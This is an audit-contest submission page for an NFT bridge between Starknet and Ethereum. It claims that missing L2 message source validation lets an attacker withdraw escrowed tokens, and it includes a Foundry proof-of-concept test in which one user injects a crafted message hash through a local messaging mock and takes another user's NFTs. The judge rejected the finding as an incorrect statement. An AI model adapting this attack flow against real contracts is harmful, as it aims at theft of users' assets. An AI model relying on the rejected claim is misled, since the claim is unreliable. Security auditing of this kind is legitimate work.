NFTBridge
60,000 USDC
View results
Submission Details
Severity: high
Invalid

No validation for the L2 -> L1 message source.

Summary

L1 implementation lacks a message source validation. An attacker can craft an arbitrary message and withdraw tokens held in escrow.

Vulnerability Details

Starknet allows to set any address as a target of a message. [here](https://book.cairo-lang.org/ch16-04-L1-L2-messaging.html#:~:text=Sending Messages from Starknet to Ethereum&text=We simply build the payload,payload sent by the L2)

But L1 lacks of validation for a message source. As a result, any arbitrary message can be crafted and sent to the L1, leading to a loss of assets.

Test that needs to be pasted into the Bridge.t.sol to prove the unauthorized withdrawal:

function test_message_source_validation() public {
IERC721MintRangeFree(erc721C1).mintRangeFree(alice, 0, 10);
uint256[] memory ids = new uint256[](2);
ids[0] = 0;
ids[1] = 9;
uint256 salt = 0x1;
snaddress to = Cairo.snaddressWrap(0x1);
IStarklane(bridge).enableWhiteList(false);
IStarklane(bridge).whiteList(erc721C1, true);
IStarklane(bridge).setL1L2CollectionMapping(erc721C1, Cairo.snaddressWrap(0x123), true);
vm.startPrank(alice);
IERC721(erc721C1).setApprovalForAll(address(bridge), true);
IStarklane(bridge).depositTokens{value: 30000}(
salt,
address(erc721C1),
to,
ids,
false
);
vm.stopPrank();
vm.startPrank(bob);
felt252 header = Protocol.requestHeaderV1(CollectionType.ERC721, false, false);
Request memory req = Request ({
header: header,
hash: 0x1,
collectionL1: erc721C1,
collectionL2: Cairo.snaddressWrap(0x123),
ownerL1: bob,
ownerL2: Cairo.snaddressWrap(0x1234),
name: "",
symbol: "",
uri: "ABCD",
tokenIds: ids,
tokenValues: new uint256[](0),
tokenURIs: new string[](0),
newOwners: new uint256[](0)
});
uint256[] memory reqSerialized = Protocol.requestSerialize(req);
bytes32 msgHash = computeMessageHashFromL2(reqSerialized);
uint256[] memory hashes = new uint256[](1);
hashes[0] = uint256(msgHash);
IStarknetMessagingLocal(snCore).addMessageHashesFromL2(hashes);
address collection = IStarklane(bridge).withdrawTokens(reqSerialized);
assertEq(IERC721(collection).ownerOf(9), bob);
vm.stopPrank();
}

Impact

Any token with L1 origin can be withdrawn from the escrow. So all valuable stored assets are impacted.

Recommendations

Validate the source of a message.

Updates

Lead Judging Commences

n0kto Lead Judge 10 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.